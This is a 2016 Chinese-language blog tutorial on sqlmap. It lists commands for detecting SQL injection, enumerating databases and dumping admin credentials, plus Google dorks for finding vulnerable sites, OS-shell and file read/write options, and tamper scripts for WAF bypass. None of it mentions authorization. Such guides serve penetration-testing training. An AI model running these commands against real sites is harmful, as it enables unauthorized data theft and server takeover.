2016年sqlmap使用教程【史上最全】
  • 首页 > 网络安全培训
  • 作者:sunghost
  • 2016年8月29日 23:29 星期一
  • 浏览:1224 次
  • 字号:    
  • 评论:0 条
  • 字数:2661 个
  • 显示:1200px  1360px  1600px
  • 关灯  编辑
  • 时间:2016-8-29 23:29   浏览:1224  

    sqlmap简介

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它由Python语言开发而成,因此运行需要安装python环境。

    sqlmap支持五种不同的注入模式:
    1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
    2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
    3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
    4、联合查询注入,可以使用union的情况下的注入。
    5、堆查询注入,可以同时执行多条语句的执行时的注入。

    sqlmap基础部分
    sqlmap.py --update 更新sqlmap
    sqlmap.py --version 查看当前版本
    sqlmap.py -h 查看帮助选项
    is-dba 当前用户权限
    dbs 所有数据库
    current-db 网站当前数据库
    users 所有数据库用
    current-user 当前数据库用户
    tables 参数:列表名
    columns 参数:列字段
    dump 参数:下载数据
    --forms 表单注入
    --level 测试等级(1-5),默认为1
    -D 指定数据库
    -T 指定表名
    -C 指定列名
    --common-tables 报表名
    --common-columns 爆列名
    --dump 获取表中的数据,包含列
    --dump-all 转存DBMS数据库所有表项目
    --dbms=mysql oracle mssql 指定数据库
    --users 列举所有用户
    --passwords 枚举所有用户密码
    --roles 列出数据库管理员角色
    --privileges 列出数据库管理员权限
    --schema --batch --exclude-sysdbs 枚举数据库系统的构架

    --batch 默认为用户输入[Y/N]

    --os-shell 执行系统命令

    sqlmap注入

    思路:判断注入点-->读取数据库信息-->读取表名-->读取列名-->获取敏感信息(管理员账号、密码)
    sql注入检测:sqlmap.py -u "网址"
    判断当前数据库用户名:sqlmap.py -u "网址" --current-user
    列数据库权限判断:sqlmap.py -u "网址" --dbs
    跑当前数据库的密码:sqlmap.py -u "网址" --passwords
    是否是数据库管理员:sqlmap.py -u "网址" --is-dba
    判断当前所使用的数据库:sqlmap.py -u "网址" --current-db
    跑数据库表:sqlmap.py -u "网址" --tables -D [数据库名]
    跑数据库字段:sqlmap.py -u "网址" --columns -T [表名] -D [数据库名]
    跑管理员账号和密码:sqlmap.py -u "网址" --dump -C  [字段1,字段2] -T [表名] -D [数据库名]

    access数据库的方法
    sqlmap.py -u "注入点" --tables 列表名
    sqlmap.py -u "注入点" --common-tables 直接爆破表名
    sqlmap.py -u "注入点" --common-columns -T 表名 爆列名
    sqlmap.py -u "注入点" --dump -T 表名 -C 列名 爆数据

    cookie注入

    sqlmap.py -u "注入的页面" --cookie "id=**" --level 2 


    public权限注入

    sqlmap.py -u "注入的页面" --form
    sqlmap.py -u "注入的页面" --data "获取的表单"
    sqlmap.py -u "注入点" --delay=5=请求延迟5秒用于封ip的


    显示调试信息
    -v 显示调试信息有7个级别
    0 只显示Python错误以及严重的信息。
    1 同时显示基本信息和警告信息。(默认级别)
    2 同时显示debug信息。
    3 同时显示注入的payload。
    4 同时显示HTTP请求。
    5 同时显示HTTP响应头
    6 同时显示HTTP响应页面。

    探测等级
    --level
    共有5个等级,默认为1,sqlmap使用payload可以在XML/payloads.xml中查看,也可以根据的格式添加自己的payload。 

    风险等级
    --risk 共4个等级,默认1

    获取目标方式
    -u 从URL中读取
    -m 从文件中读取URL列表
    -r 从文件中获取HTTP请求,结合BURP抓包。

    -g 用谷歌批量扫描
    inurl:?id=
    inurl:php?id=
    inurl:asp?id=
    inurl:aspx?id=

    post登录框注入
    -r search-test.txt -p tfUPass
    --data "tfUName=1&tfUPass=1"

    请求延时
    --delay --safe-freq

    Base64编码注入
    --tamper base64encode.py -dbs

    延时注入
    --time-sec 5 延迟5秒。

    sql-shell
    --sql-query="select @@version"
    --sql-shell

    文件操作

    --file-read="文件路径" 从数据库服务器中读取文件


    把文件上传到数据库服务器中
    --file-write,--file-dest
    --file-write="本地路径" --file-dest="远程路径"


    Waf绕过
    -v 3 --dbs --batch --tamper "space2morehash.py"
    space2hash.py base64encode.py charencode.py

     您阅读这篇文章共花了: 
    二维码加载中...
    本文作者:sunghost      文章标题: 2016年sqlmap使用教程【史上最全】
    本文地址:http://www.935la.com/?post=226 百度未收录
    版权声明:若无注明,本文皆为“㊙️网络安全培训_网站建设培训_SEO优化培训_上科互联网络培训学院”原创,转载请保留文章出处。
      昵称   邮箱   主页